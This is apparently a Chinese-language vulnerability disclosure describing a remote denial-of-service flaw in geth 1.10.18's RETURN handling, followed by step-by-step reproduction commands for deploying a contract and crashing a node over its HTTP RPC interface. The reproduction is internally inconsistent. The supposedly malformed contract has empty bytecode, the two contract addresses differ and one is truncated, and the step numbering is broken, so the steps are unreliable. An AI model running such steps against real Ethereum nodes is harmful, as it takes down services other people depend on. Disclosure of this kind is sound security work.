以太坊公链存在拒绝服务漏洞

漏洞类型：拒绝服务

漏洞危害：以太坊公链节点宕机

软件版本：1.10.18（最新版本）

漏洞描述：

以太坊虚拟机模块执行RETURN指令时存在逻辑缺陷，攻击者通过构建畸形智能合约，在虚拟机执行智能合约代码时绕过分配内存资源的逻辑检查，就可以大量分配内存资源，造成主机资源耗尽，从而形成远程拒绝服务攻击。

根据区块链技术的特点，当用户事先部署智能合约至以太坊公链，智能合约就会部署到每一个以太坊节点上，再通过RPC接口远程发起一个简单的RPC调用，就可以对以太坊节点形成远程拒绝服务攻击。

利用前提是以太坊节点服务器开启了RPC服务接口，同时配置文件中的RPCGasCap项设置了一个相当大的整数。在测试环境中为了测试方便，这两个条件很容易满足。如果区块链开发人员在正式环境连接以太坊公链时忘记修改配置文件，该节点服务器就存在被攻击的风险。

复现步骤：

首先，打开Ubuntu22.04终端

1. 查看geth软件版本，命令如下：~/code/go-ethereum/build/bin/geth version为1.10.18。geth为以太坊的客户端软件。
2. 启动以太坊进程，命令如下

~/code/go-ethereum/build/bin/geth --datadir data0 --networkid 12345679 --http --http.port "8545" --http.api "db,eth,net,web3" --allow-insecure-unlock --nodiscover console

1. 登录账户，命令如下，登录后才能利用该账户在以太坊部署智能合约：

personal.unlockAccount(eth.accounts[0])

1. 部署智能合约tokenContract，智能合约代码如下:

var tokenContract = web3.eth.contract([{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"\_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]);

var t = tokenContract.new(

{

from: web3.eth.accounts[0],

data: '',

gas: '4700000'

}, function (e, contract){

console.log(e, contract);

if (typeof contract.address !== 'undefined') {

console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);

}

})

1. 可以看到智能合约已经成功部署
2. 将智能合约广播到其他以太坊节点并记录在以太坊区块链上，命令如下：

miner.start(1)

1. 可以看到tokenContract智能合约已经被记录到区块链上，智能合约地址的是0x2304d69d245da7f81cfe3e15f3ceeb273be54f9
2. 当智能合约成功部署后，停止广播，命令如下

miner.stop()

1. 打开一个新的终端，与以太坊客户端geth建立连接，命令如下：

geth attach http://127.0.0.1:8545

1. 获取已部署的智能合约，命令如下：

var abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"\_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}];

var MyContract = eth.contract(abi);

var t = MyContract.at("0xb66441c4776a2544207e5d768d1dff112559d428");

var t = MyContract.at("合约地址");

1. 运行智能合约函数，t.name()
2. 即可看到Geth进程崩溃